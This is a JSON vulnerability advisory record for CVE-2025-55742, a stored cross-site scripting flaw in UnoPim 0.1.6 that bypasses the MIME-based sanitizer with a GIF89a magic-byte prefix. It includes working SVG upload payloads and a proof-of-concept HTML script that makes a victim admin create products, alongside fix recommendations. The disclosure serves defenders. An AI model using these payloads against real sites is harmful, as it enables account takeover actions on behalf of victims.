{"id":"CVE-2025-55742","aliases":["GHSA-xr97-25v7-hc2q"],"url":"https://o3.security/vulnerability/CVE-2025-55742","summary":"UnoPim Stored XSS via SVG MIME/Sanitizer Bypass","details":"### Summary\nAffected Functionality: User creation\nEndpoint: `/admin/settings/users/create`\n\n### Details\nhttps://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19\nSee the mimetype is checked for validation.\nMime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes\nfor e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.\n\nFile containing <svg> is considered as svg and is sanitized:\n![image](https://github.com/user-attachments/assets/bcb0ce04-6bbe-4058-81da-927331247d3d)\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\"  onload=\"alert(5)\">\n  <rect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert('Hover')\"></rect>\n  <text x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" >Proof of Concept</text>\n</svg>\n```\n![image](https://github.com/user-attachments/assets/47d33392-632e-442b-8e51-5ba5189385ca)\n\nSanitization bypass using MIME type manipulation:\n![image](https://github.com/user-attachments/assets/c4fa13a6-3c3a-4530-8d4e-68c203848a86)\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\nGIF89a\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\"  onload=\"alert(5)\">\n  <rect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert('Hover')\"></rect>\n  <text x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" >Proof of Concept</text>\n</svg>\n```\n![image](https://github.com/user-attachments/assets/18197b3c-391a-4083-a610-51db6cca476a)\n\n\n### PoC\nUpload `POC.html` as image.\nFile content:\n```\nGIF89a\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\"  onload=\"alert(document.cookie)\">\n  <rect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(document.domain)\"></rect>\n  <text x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" >Proof of Concept</text>\n</svg>\n```\nI changed extension to .html because even though POC.svg successfully bypassed the sanitization. \nWhen accessing the URL, the page didn't render as it should starts with <.\n![image](https://github.com/user-attachments/assets/fb428dd8-44a1-4701-a4f5-1058afd0997a)\n![image](https://github.com/user-attachments/assets/03d6f082-66af-4fad-b6a9-e19fc1cb73dc)\nSince html doesn't have any such limitation we can access it.\nAccess the image URL to see the XSS popup.\n![image](https://github.com/user-attachments/assets/edff5f12-a95e-4134-8894-af8a4972fe2a)\n\n### Impact\nSuppose another admin visits the image link, the attacker can perform any operation as the victim.\nThe session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )\n##### Example\n> create a product behalf of victim.\n\nJohn doe (default admin ) creates another admin ( victimadmin@test.com )\nWhen the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. \n![image](https://github.com/user-attachments/assets/d7b25732-b05d-445c-9df0-09e8bdc62cfd)\n![image](https://github.com/user-attachments/assets/c61086cd-6335-4c56-838f-9df88574de13)\n// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.\nPlease see the detailed POC video for more details:\nhttps://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2\n\nExtended POC for performing the action shown in video:\nPOC.html:\n```\n<html>\n<script>\nconst url = 'http://localhost:8000/admin/catalog/products/create';\n\n// Create a FormData object to hold the form data\nconst formData = new FormData();\nformData.append('type', 'simple');\nformData.append('attribute_family_id', '1');\nformData.append('sku', 'Created-by-ADMIN-VICTIM888');\n\n// Define the headers\nconst headers = {\n    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',\n    'X-Requested-With': 'XMLHttpRequest',\n    'Accept': 'application/json, text/plain, */*',\n    'Origin': 'http://localhost:8000',\n    'Referer': 'http://localhost:8000/admin/catalog/products',\n    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'\n};\n\n// Send the POST request\nfetch(url, {\n    method: 'POST',\n    headers: headers,\n    body: formData,\n    credentials: 'include' // Include cookies in the request\n})\n.then(response => {\n    if (!response.ok) {\n        throw new Error('Network response was not ok ' + response.statusText);\n    }\n    return response.json(); // Assuming the response is JSON\n})\n.then(data => {\n    console.log('Success:', data);\n})\n.catch(error => {\n    console.error('Error:', error);\n});\n</script>\n<html>\n```\n// make sure to update the cookies and CSRF tokens in the script to the attacker's.\n\nRecommendation:\nCheck file extension: whitelist allowed extensions.\nCheck mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.\nCheck file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.\n\nAffected Version: 0.1.6\n![image](https://github.com/user-attachments/assets/e0e6115a-4932-4807-bb2b-ba192d4d5989)","published":"2025-08-21T15:36:07.475Z","modified":"2026-08-12T03:51:11.578591636Z","cvss":{"score":8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"unopim/unopim","fixedVersion":"0.2.1"}],"fix":{"url":"https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75","label":"unopim/unopim@49d5f6a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55742.json"},{"type":"ADVISORY","url":"https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55742"},{"type":"FIX","url":"https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"},{"type":"FIX","url":"https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"},{"type":"FIX","url":"https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"},{"type":"WEB","url":"https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2"},{"type":"PACKAGE","url":"https://github.com/unopim/unopim"},{"type":"WEB","url":"https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.578591636Z"}}